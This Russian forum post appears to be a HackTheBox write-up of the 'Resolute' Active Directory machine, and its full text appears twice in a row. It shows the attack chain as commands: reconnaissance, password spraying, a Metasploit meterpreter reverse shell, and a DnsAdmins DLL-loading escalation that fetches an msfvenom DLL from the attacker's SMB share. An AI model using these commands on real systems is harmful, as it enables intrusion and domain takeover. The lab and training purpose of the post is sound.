QuietMoth1
07.02.2022, 20:07
https://forum.antichat.xyz/attachments/29093216/img_580214ce95.png
Приветствую!
Продолжаем проходить лаборатории и CTF с сайтаHackTheBox! В этой лаборатории мы разберём машинуResolute(Windows - Active Directory).
Сегодня мы применим разведку в Active Directory, а так же рассмотрим уязвимость Dll Hijacking! Начинаем)
Данные:
Задача: Скомпрометировать машину на Windows и взять два флага user.txt и root.txt
Основная рабочая машина: Kali Linux 2021.4
IP адрес удаленной машины - 10.10.10.169
IP адрес основной машины - 10.10.14.56
Начальная разведка и сканирование портов:
Для начала мы используем Masscan и пробуем быстро найти все открытые порты:
masscan -p1-65535,U:1-65535 10.10.10.169 --rate=500 -e tun0
И пока Masscan ведет свою работу, запустим параллельно nmap:
nmap -sC -sV 10.10.10.169
Теперь посмотрим результаты выполнения наших сканеров:
Masscan:
https://forum.antichat.xyz/attachments/29093216/img_c80fe33937.png
Nmap:
https://forum.antichat.xyz/attachments/29093216/img_82f1c43c00.png
Мы видим информацию из служб LDAP’а - домен megabank.local. Добавим его в /etc/hosts:
echo '10.10.10.169 megabank.local' >> /etc/hosts
Сбор информации о пользователях:
Так как у нас открыт порт 88/tcp-Kerberos, попробуем перебрать пользователей по списку с помощью прекрасной утилиты Kerbrute:
Kerbrute - это инструмент для быстрого перебора и перечисления действительных учетных записей Active Directory с помощью предварительной проверки подлинности Kerberos.
./kerbrute userenum -d megabank.local --dc megabank.local /root/Users.txt
Параметры:
userenum - указываетна перебор пользователей инструментом
-d- указывает домен
--dc- сам контроллер домена (Здесь мы по умолчанию ставим сам домен)
https://forum.antichat.xyz/attachments/29093216/img_4b6f700fcc.png
А вот и все наши пользователи которые нам понадобятся для дальнейшей разведки, теперь давайте отсортируем их имена в один файл, с помощью встроенной утилиты Linux - awkи выведем их в файл:
AWK- C-подобный скриптовый язык построчного разбора и обработки входного потока по заданным шаблонам.
./kerbrute userenum -d megabank.local --dc megabank.local /root/Users.txt | awk '{print $7}'
https://forum.antichat.xyz/attachments/29093216/img_5608aa2b7b.png
Уберем домен от имени пользователя и получим наш список.
Далее попробуем применить impacket-GetNPUsers:
impacket-GetNPUsers megabank.local/ -usersfile users.txt
https://forum.antichat.xyz/attachments/29093216/img_26cefc8b6b.png
К сожалению никаких результатов( Ну... тогда соберем информацию с Enum4linux:
enum4linux -a megabank.local
https://forum.antichat.xyz/attachments/29093216/img_541cf4d755.png
И видим что у пользователя marko в его описании написано что пользователь создан, а пароль к нему - Welcome123!
Попробуем перебрать пользователей к этому паролю с помощью CrackMapExec:
crackmapexec smb -u users.txt -p Welcome123! --shares 10.10.10.169
https://forum.antichat.xyz/attachments/29093216/img_357ee0d017.png
И среди неверных кредов получаем аккаунт melanie:Welcome123!
Теперь зайдем в него с помощьюEvilWinRM:
./evil-winrm.rb -i megabank.local -u melanie -p Welcome123!
https://forum.antichat.xyz/attachments/29093216/img_2f896a4c4d.png
Иии... получаем флаг юзера!
Повышение привилегий:
Для начала сделаем апгрейд своей оболочки powershell и прокинем на уязвимую машину Web-Delivery с Metasploit:
Код:
msfconsole
msf6 > use exploit/multi/script/web_delivery
msf6 exploit(multi/script/web_delivery) > set LHOST tun0
msf6 exploit(multi/script/web_delivery) > set target PSH
msf6 exploit(multi/script/web_delivery) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > run
https://forum.antichat.xyz/attachments/29093216/img_ba0220bcc5.png
И получаем наш Powershell скрипт, теперь засунем его в шелл EvilWInRM'аи получим meterpreter сессию:
https://forum.antichat.xyz/attachments/29093216/img_9fa10c131e.png
А вот и наша meterpreter сессия:
https://forum.antichat.xyz/attachments/29093216/img_432f46df97.png
Итак, поищем интересную информацию, а может и пароли в системе, просто полазим по директориям.
В корне я нашёл директорию - PSTranscripts - это папка с сохраненными файлами сеанса powershell или его частями.
Теперь перейдем туда и выведем содержимое сеанса:
https://forum.antichat.xyz/attachments/29093216/img_01496874b7.png
https://forum.antichat.xyz/attachments/29093216/img_73725cac09.png
И мы видим креды от пользователя ryan -Serv3r4Admin4cc123!
Давайте зайдем в его аккаунт!
Ryan - DNSadmin:
После входа в аккаунт этого пользователя, просмотрим информацию о его доступе в системе:
whoami /all
https://forum.antichat.xyz/attachments/29093216/img_7cfd167141.png
Мы состоим в группе DnsAdmins, а это значит что мы можем использовать сервис dns в своих целях, таким образом создадим .dll библиотеку и загрузим её в конфиг самого dns!
msfvenom -p windows/x64/exec cmd='net group "domain admins" ryan /add /domain' --platform windows -f dll > dns.dll
Полезная нагрузка здесь выполняет команду от системы, поэтому мы добавляем нашего пользователя в группы с повышенным доступом.
Теперь чтобы скачать эту нагрузку в наш dns конфиг будем использовать свой сервер smb на стороне:
smbserver.py -debug SHARE . -ip 10.10.14.56
После открытия этого сервера мы выполним команду на шелле от ryan:
dnscmd.exe RESOLUTE /config /serverlevelplugindll \\10.10.14.56\SHARE\dns.dll
Мы загружаем сам dll с нашего smb сервера, далее нам нужно перезапустить службу dns:
sc.exe stop dns
sc.exe start dns
Вывод smb-сервера:
https://forum.antichat.xyz/attachments/29093216/img_0998010bfc.png
Теперь нам остается перезайти под этим пользователем и наблюдать!
https://forum.antichat.xyz/attachments/29093216/img_b32bbbb361.png
Мы администраторы домена!
Всем спасибо за чтение данной статьи! Скоро буду
Приветствую!
Продолжаем проходить лаборатории и CTF с сайтаHackTheBox! В этой лаборатории мы разберём машинуResolute(Windows - Active Directory).
Сегодня мы применим разведку в Active Directory, а так же рассмотрим уязвимость Dll Hijacking! Начинаем)
Данные:
Задача: Скомпрометировать машину на Windows и взять два флага user.txt и root.txt
Основная рабочая машина: Kali Linux 2021.4
IP адрес удаленной машины - 10.10.10.169
IP адрес основной машины - 10.10.14.56
Начальная разведка и сканирование портов:
Для начала мы используем Masscan и пробуем быстро найти все открытые порты:
masscan -p1-65535,U:1-65535 10.10.10.169 --rate=500 -e tun0
И пока Masscan ведет свою работу, запустим параллельно nmap:
nmap -sC -sV 10.10.10.169
Теперь посмотрим результаты выполнения наших сканеров:
Masscan:
https://forum.antichat.xyz/attachments/29093216/img_c80fe33937.png
Nmap:
https://forum.antichat.xyz/attachments/29093216/img_82f1c43c00.png
Мы видим информацию из служб LDAP’а - домен megabank.local. Добавим его в /etc/hosts:
echo '10.10.10.169 megabank.local' >> /etc/hosts
Сбор информации о пользователях:
Так как у нас открыт порт 88/tcp-Kerberos, попробуем перебрать пользователей по списку с помощью прекрасной утилиты Kerbrute:
Kerbrute - это инструмент для быстрого перебора и перечисления действительных учетных записей Active Directory с помощью предварительной проверки подлинности Kerberos.
./kerbrute userenum -d megabank.local --dc megabank.local /root/Users.txt
Параметры:
userenum - указываетна перебор пользователей инструментом
-d- указывает домен
--dc- сам контроллер домена (Здесь мы по умолчанию ставим сам домен)
https://forum.antichat.xyz/attachments/29093216/img_4b6f700fcc.png
А вот и все наши пользователи которые нам понадобятся для дальнейшей разведки, теперь давайте отсортируем их имена в один файл, с помощью встроенной утилиты Linux - awkи выведем их в файл:
AWK- C-подобный скриптовый язык построчного разбора и обработки входного потока по заданным шаблонам.
./kerbrute userenum -d megabank.local --dc megabank.local /root/Users.txt | awk '{print $7}'
https://forum.antichat.xyz/attachments/29093216/img_5608aa2b7b.png
Уберем домен от имени пользователя и получим наш список.
Далее попробуем применить impacket-GetNPUsers:
impacket-GetNPUsers megabank.local/ -usersfile users.txt
https://forum.antichat.xyz/attachments/29093216/img_26cefc8b6b.png
К сожалению никаких результатов( Ну... тогда соберем информацию с Enum4linux:
enum4linux -a megabank.local
https://forum.antichat.xyz/attachments/29093216/img_541cf4d755.png
И видим что у пользователя marko в его описании написано что пользователь создан, а пароль к нему - Welcome123!
Попробуем перебрать пользователей к этому паролю с помощью CrackMapExec:
crackmapexec smb -u users.txt -p Welcome123! --shares 10.10.10.169
https://forum.antichat.xyz/attachments/29093216/img_357ee0d017.png
И среди неверных кредов получаем аккаунт melanie:Welcome123!
Теперь зайдем в него с помощьюEvilWinRM:
./evil-winrm.rb -i megabank.local -u melanie -p Welcome123!
https://forum.antichat.xyz/attachments/29093216/img_2f896a4c4d.png
Иии... получаем флаг юзера!
Повышение привилегий:
Для начала сделаем апгрейд своей оболочки powershell и прокинем на уязвимую машину Web-Delivery с Metasploit:
Код:
msfconsole
msf6 > use exploit/multi/script/web_delivery
msf6 exploit(multi/script/web_delivery) > set LHOST tun0
msf6 exploit(multi/script/web_delivery) > set target PSH
msf6 exploit(multi/script/web_delivery) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > run
https://forum.antichat.xyz/attachments/29093216/img_ba0220bcc5.png
И получаем наш Powershell скрипт, теперь засунем его в шелл EvilWInRM'аи получим meterpreter сессию:
https://forum.antichat.xyz/attachments/29093216/img_9fa10c131e.png
А вот и наша meterpreter сессия:
https://forum.antichat.xyz/attachments/29093216/img_432f46df97.png
Итак, поищем интересную информацию, а может и пароли в системе, просто полазим по директориям.
В корне я нашёл директорию - PSTranscripts - это папка с сохраненными файлами сеанса powershell или его частями.
Теперь перейдем туда и выведем содержимое сеанса:
https://forum.antichat.xyz/attachments/29093216/img_01496874b7.png
https://forum.antichat.xyz/attachments/29093216/img_73725cac09.png
И мы видим креды от пользователя ryan -Serv3r4Admin4cc123!
Давайте зайдем в его аккаунт!
Ryan - DNSadmin:
После входа в аккаунт этого пользователя, просмотрим информацию о его доступе в системе:
whoami /all
https://forum.antichat.xyz/attachments/29093216/img_7cfd167141.png
Мы состоим в группе DnsAdmins, а это значит что мы можем использовать сервис dns в своих целях, таким образом создадим .dll библиотеку и загрузим её в конфиг самого dns!
msfvenom -p windows/x64/exec cmd='net group "domain admins" ryan /add /domain' --platform windows -f dll > dns.dll
Полезная нагрузка здесь выполняет команду от системы, поэтому мы добавляем нашего пользователя в группы с повышенным доступом.
Теперь чтобы скачать эту нагрузку в наш dns конфиг будем использовать свой сервер smb на стороне:
smbserver.py -debug SHARE . -ip 10.10.14.56
После открытия этого сервера мы выполним команду на шелле от ryan:
dnscmd.exe RESOLUTE /config /serverlevelplugindll \\10.10.14.56\SHARE\dns.dll
Мы загружаем сам dll с нашего smb сервера, далее нам нужно перезапустить службу dns:
sc.exe stop dns
sc.exe start dns
Вывод smb-сервера:
https://forum.antichat.xyz/attachments/29093216/img_0998010bfc.png
Теперь нам остается перезайти под этим пользователем и наблюдать!
https://forum.antichat.xyz/attachments/29093216/img_b32bbbb361.png
Мы администраторы домена!
Всем спасибо за чтение данной статьи! Скоро буду